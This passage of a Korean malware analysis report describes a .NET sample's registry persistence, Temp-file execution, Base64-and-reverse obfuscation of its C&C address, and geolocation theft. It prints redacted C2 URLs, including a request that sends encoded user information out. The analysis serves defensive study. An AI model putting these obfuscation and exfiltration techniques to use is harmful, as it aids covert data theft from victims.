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복사한 악성코드의 프로세스 명을 SHA1으로 암호화한 후 파일을 생성한다. 생성된 

파일에는 랜덤으로 생성된 문자열이 작성된다.

레지스트리� 키� 생성

[그림� 60] 악성코드의� 경로를� 가져옴

[그림� 61] Base64 인코딩� 로직

[그림� 62] .NET Framework 버전� 정보

[그림� 63] SHA1 암호화� 로직

[그림� 64] 레지스트리� 생성� 로직�
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뮤텍스 명과 .NET Framework 버전 정보를 SHA1으로 암호화하여 서브키로 생성하

고 뮤텍스 명을 SHA1으로 암호화하여 키값으로 생성한 후 값 데이터에는 악성코드

의 경로를 Base64로 인코딩하여 생성한다.

복사한� 파일� 실행

[그림� 67] 문자열을� 랜덤으로� 생성

[그림� 68] 파일� 생성� 로직

[그림� 69] 파일� 실행� 로직

문자열을 랜덤으로 만들고 Temp 디렉토리에 생성한 후에 복사한 악성코드 중 하나

를 랜덤으로 정하여 실행한 후 Temp 디렉토리에 생성한 파일은 삭제한다.
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Base64로� 인코딩된� zip을� 압축� 해제� 및� 문자열을� 역순� 하여� 디코딩

[그림� 72] Base64로� 인코딩된� zip 파일을� 해제하는� 로직

[그림� 73] Reaplace 함수

[그림� 74] Reverse 함수

[그림� 75] Base64 디코딩

H1 http://xxxxxxxxxx.site/@=wWczhGd1FEdzVWdxVmc
H2 http://xxxxxxxxxx.site/@=wWczhGd1FEdzVWdxVmc
T 0

[표� 28] C&C 서버� 주소� 디코딩� 전

Base64로 인코딩된 zip을 압축 해제 후 Reaplace 함수로 SCRT의 값을 제거하고 

Reverse 함수를 사용하여 역순 해준 뒤 Base64로 디코딩하면 주소의 일부가 

Base64로 인코딩된 C&C 서버의 주소가 나온다.

Cyber W
ar



- 75 -

C&C 서버� 주소의� 일부� 디코딩

[그림� 77] C2 서버의� 주소� 중� 일부� 복호화� 로직

[그림� 78] Reverse 함수

[그림� 79] Base64 디코딩

H1 http://xxxxxxxxxx.site/requestAuthsql
H2 http://xxxxxxxxxx.site/requestAuthsql
T 0

[표� 29] C&C 서버� 주소� 디코딩� 후

H1과 H2의 값에 @뒤에 있는 값을 Reverse 함수로 역순하고 Base64로 디코딩하면 

C&C 서버 주소가 나온다.

Cyber W
ar



- 76 -

C&C 서버와 통신

[그림� 83] C2 서버� 통신� 로직

[그림� 84] C2 서버의� 구성� 요소를� 가져옴

[그림� 85] MD5 암호화� 로직

[그림� 86] SHA1 암호화� 로직
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[그림� 87] Base64 인코딩

[그림� 88] Reverse 함수

[그림� 89] C2 서버와� 통신

MD5로 C&C 주소와 “gettoken“, C&C 주소, C&C 주소와 “siteoken_uid“를 암호화하

여 C&C 주소 뒤에 넣고 또한 사용자 정보를 SHA1으로 두 번 암호화한 후에 

Base64로 인코딩하고 Reverse 함수를 사용하여 역순하고 C&C 주소로 들어간다.

C2 서버� URL
http://xxxxxxxxxx.site/requestAuthsql.php?4bqTD0uzmezJ7eAVGzMr=xl&qc9N7l18md2
Z1MvmxjXhpCCvYF8v=NlHzxnk0g2Am1gemle4Ek3ca&da4559b834880b9310e86e6f8f73c
80a=edc5ad94444179c501cc163d4f252bf1&ba3cf39ee6804826c2294df8faadcf91=gM1Q
mYzkjNyIjZzMmMyUmZ1UzM3Q2NhhTM5YTYiljMiRGO5YmYhdTM&4bqTD0uzmezJ7eAV

GzMr=xl&qc9N7l18md2Z1MvmxjXhpCCvYF8v=NlHzxnk0g2Am1gemle4Ek3ca

[표� 30] 사용자� 정보를� 암호화하여� 보냄
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사용자의� 위치 정보� 탈취

[그림� 94] GEO 정보를� 가져오는� 로직
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